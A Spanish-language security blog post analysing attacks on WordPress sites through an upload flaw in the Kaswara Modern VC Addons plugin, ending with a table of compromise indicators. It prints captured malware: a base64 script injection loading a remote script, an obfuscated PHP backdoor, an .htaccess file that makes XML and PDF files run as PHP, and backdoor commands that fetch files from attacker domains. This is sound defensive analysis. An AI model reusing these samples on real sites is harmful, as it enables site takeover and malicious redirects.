El 20 de abril de 2021, nuestros amigos de WPScan reportaron una vulnerabilidad grave en Kaswara Modern VC Addons, también conocido como Kaswara Modern WPBakery Page Builder Addons. Ya no está disponible en Codecanyon/Envato, lo que significa que, si lo tienes en funcionamiento, debes elegir una alternativa.
Esta vulnerabilidad permite a usuarios no autenticados subir archivos arbitrarios al directorio de iconos del plugin (./wp-content/uploads/kaswara/icons). Este es el primer indicador de compromiso (IOC) que nuestros amigos de WPScan compartieron con nosotros en su informe.
La posibilidad de subir archivos arbitrarios a un sitio web proporciona al atacante el control total del sitio, lo que dificulta definir la carga útil final de esta infección; por eso, te mostraremos todo lo que hemos encontrado hasta ahora (nos hemos dejado llevar un poco por la investigación, así que puedes saltar a la sección de IOC si no quieres leerlo todo).
Inyección en la base de datos, aplicaciones Android falsas y otras puertas traseras
Gracias a nuestro amigo Denis Sinegubko, de Sucuri, por señalarnos la posterior inyección en la base de datos utilizada en este ataque.
Los atacantes actualizaban la opción «kaswara-customJS» para añadir un fragmento malicioso arbitrario de código JavaScript. Este es un ejemplo que encontramos:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Esta cadena codificada en base64 se traduce como:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Y, como suele ocurrir con este tipo de script, cargará en cadena una serie de fragmentos de código JavaScript adicionales, y la carga útil final será publicidad maliciosa o un kit de exploits. Esto es muy similar a lo que Wordfence informó aquí.
En este caso, el script se detiene en hxxp://double-clickd[.]com/ y no carga ningún contenido malicioso. Encontré código JavaScript sospechoso que llamaba a este sitio desde principios de 2020, y la gente ya lo bloqueaba desde 2018.
Aplicaciones falsas subidas al sitio
Las 40 aplicaciones Android encontradas en los sitios web que examinamos eran versiones falsas de distintas aplicaciones, como AliPay, PayPal, Correos, DHL y muchas otras, que, por suerte, estaban siendo detectadas por los proveedores de antivirus más populares, según este análisis de VirusTotal.

No comprobé las intenciones de la aplicación, pero una revisión rápida de los permisos que solicita puede darnos una idea de lo que podría hacer:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Sin embargo, esos archivos no se suben inmediatamente mediante el exploit de Kaswara. Una vez comprometido el sitio, los atacantes subirán primero otras herramientas para hacerse con el control total del sitio.
Archivos subidos
También se encontraron puertas traseras y otro malware en sitios web comprometidos por esta vulnerabilidad. En esta publicación compartiré un análisis rápido de los más populares e interesantes. Sin embargo, primero quiero centrarme en el más complejo.
Redirecciones y aplicaciones falsas
Las aplicaciones falsas que encontré en varios sitios comprometidos no se subieron explotando la vulnerabilidad de Kaswara. Se están subiendo al sitio mediante una herramienta de hacking multifunción, que permite al atacante subir código remoto (proporcionando una URL o una cadena) y redirigir al usuario a un sitio malicioso.
El archivo puede identificarse fácilmente por la presencia de esta cadena: base64_decode('MTIz');error_reporting(0);function
Curiosamente, aleatoriza todo lo demás excepto esto.
El malware está en una sola línea, lo que también constituye un IOC interesante si buscas este tipo de anomalía en el código.

Para que resulte más fácil de entender, descodifiqué la mayor parte del código, cambié el nombre de las funciones interesantes y di formato al código. El malware incluye 6 funciones distintas, y 5 de ellas se basan en los valores almacenados en la $_GET['ts'] (la variable que recibe esos valores). Para este documento, consideremos uno de los muchos casos que encontré: c.php.

/c.php?ts=kt
Esto no hace nada y obligará al sitio a devolver un error 500 (más adelante en el código).
/c.php?ts=1
Cambia el valor de la marca $q1a a true para realizar una validación del código y mostrar un mensaje de OK al atacante.
En este caso, el sitio remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Code”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Escribe un archivo en el servidor con el código proporcionado por el contenido de $_GET["v"] siempre que $_GET["p"] sea la suma de comprobación SHA1 de 123 (¿recuerdas el primer IOC de base64_decode('MTIz')? Esta es esa suma de comprobación).

/c.php?ts=tt
Escribe 5 MB de «-» en el servidor, probablemente para comprobar si la función de subida funcionará en el servidor.

/c.php?ts=dwm&h=HASH1,HASH2
Cuando el malware recibe esta solicitud, realiza una prueba para verificar si los archivos subidos se han escrito correctamente en el servidor. Deben conocerse sus hashes MD5, que se envían a la variable $_GET['h'] como valores separados por comas.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Descarga un archivo de una serie de sitios web de terceros y lo guarda en el servidor, asignándole como nombre los últimos 12 caracteres del MD5 del archivo descargado.
Esta es la función que se utiliza para subir aplicaciones falsas al servidor.
Este es un ejemplo de la solicitud para descargar archivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirección del acceso
Si se seleccionó la opción kt o ninguna opción, el código procede a la redirección, que se consigue solicitando un bloque JSON con los datos necesarios. Después, redirige al visitante mediante la función de cabecera.

La respuesta es así: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Esta es la función que ejecuta una solicitud cURL con los parámetros necesarios: nada especial…
Y se puede traducir a esta solicitud cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
La URL final es, por lo que pude comprobar, aleatoria, pero comparte la característica de ser una página falsa de un servicio o aplicación popular.

wp-content/uploads/kaswara/icons/16/javas.xml y wp-content/uploads/kaswara/icons/16/.htaccess
Normalmente, un archivo XML no se marca como una amenaza potencial, pero en este caso tenemos un archivo .htaccess creado específicamente que cambia la forma en que el servidor web lo interpreta:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
De hecho, indica a Apache que interprete cualquier archivo javas, homes o menus con xml, php o pdf como un archivo PHP que debe procesarse y ejecutarse en consecuencia. Por tanto, cualquiera de esos archivos que se encuentre en la misma estructura de directorios que este .htaccess será sospechoso.
El archivo javas.xml es igual que otros archivos maliciosos subidos al sitio. He descubierto que la diferencia es que algunos tienen una o dos líneas en blanco al final del archivo, lo que dificulta un poco el uso de los hashes tradicionales.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
El código malicioso está ofuscado mediante str_rot13 y cadenas codificadas en base64. También utiliza valores hexadecimales y operaciones matemáticas para ocultar un poco más las cadenas. Se desconoce la carga útil final, ya que creará una función basándose en los valores de una solicitud POST. Sin embargo, parece que la carga útil es siempre la misma, ya que depende de una comprobación md5 antes de crearla (c42ea979ed982c02632430e9e98a66d6 es el hash md5).
Conclusión
Como se trata de una campaña activa, en el momento de escribir esta entrada estamos encontrando cada vez más ejemplos distintos de malware que se están instalando en los sitios afectados. Algunos son simplemente variaciones de lo que hemos mostrado aquí, mientras que otros son lo bastante interesantes como para merecer un análisis más profundo. Próximamente publicaremos entradas más breves para analizar algunos de estos otros ejemplos.
Esto demuestra la importancia de mantener tus extensiones actualizadas con las últimas correcciones de seguridad. Si los desarrolladores no publican correcciones a tiempo o la extensión se elimina del repositorio de WordPress.org (o de otros mercados), te recomendamos encarecidamente que busques una alternativa más segura.
Si te preocupa el malware y las vulnerabilidades de tu sitio, consulta las funciones de seguridad de Jetpack. Jetpack Security proporciona una seguridad completa y fácil de usar para tu sitio de WordPress, con copias de seguridad, análisis de malware y protección contra el spam.
Indicadores de compromiso
Aquí encontrarás la lista completa de todos los IOC que hemos identificado:
| Hash (SHA-1) | Ruta | Descripción de la amenaza |
| 754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Aplicación Android falsa |
| 8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Aplicación Android falsa |
| 1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Aplicación Android falsa |
| b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Aplicación Android falsa |
| b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Aplicación Android falsa |
| 886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Aplicación Android falsa |
| e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Aplicación Android falsa |
| 970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Aplicación Android falsa |
| ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Aplicación Android falsa |
| 423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Aplicación Android falsa |
| 455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Aplicación Android falsa |
| f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Aplicación Android falsa |
| 98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Aplicación Android falsa |
| 1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Aplicación Android falsa |
| 8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Aplicación Android falsa |
| f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Aplicación Android falsa |
| f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Aplicación Android falsa |
| b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Aplicación Android falsa |
| 8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Aplicación Android falsa |
| e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Aplicación Android falsa |
| eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Aplicación Android falsa |
| 814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Aplicación Android falsa |
| edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Aplicación Android falsa |
| 6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Aplicación Android falsa |
| 295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Aplicación Android falsa |
| c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Aplicación Android falsa |
| 6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Aplicación Android falsa |
| 816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Aplicación Android falsa |
| a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Aplicación Android falsa |
| 9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Aplicación Android falsa |
| ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Aplicación Android falsa |
| 2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Aplicación Android falsa |
| 1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Aplicación Android falsa |
| 21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Aplicación Android falsa |
| de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Aplicación Android falsa |
| 1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Aplicación Android falsa |
| a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Aplicación Android falsa |
| 8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Aplicación Android falsa |
| 31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Aplicación Android falsa |
| d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Aplicación Android falsa |
| 8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Malware depositado |
| 95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Malware depositado |
| 2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP cargador de archivos |
| 0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Malware depositado |
| da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware de ejecución remota de código |
| d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Malware depositado |
| 4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Malware depositado |
| 7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Malware depositado |
| 6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Malware depositado |
| 486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Malware depositado |
| 8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Malware depositado |
| 5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Malware depositado |
| 7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Malware depositado |
| 4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware de ejecución remota de código |
| f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Malware depositado |
| 0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php o ./wp-content/uploads/xeh02b.php | Malware depositado |
| 64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Malware depositado |
| 1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware de ejecución remota de código |
| 7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Malware depositado |
| wp-content/uploads/kaswara/icons/16/javas.xml | Malware de ejecución remota de código | |
| – | smurfetta.ru | Dominio malicioso |
| http://papass.ru | Dominio malicioso |



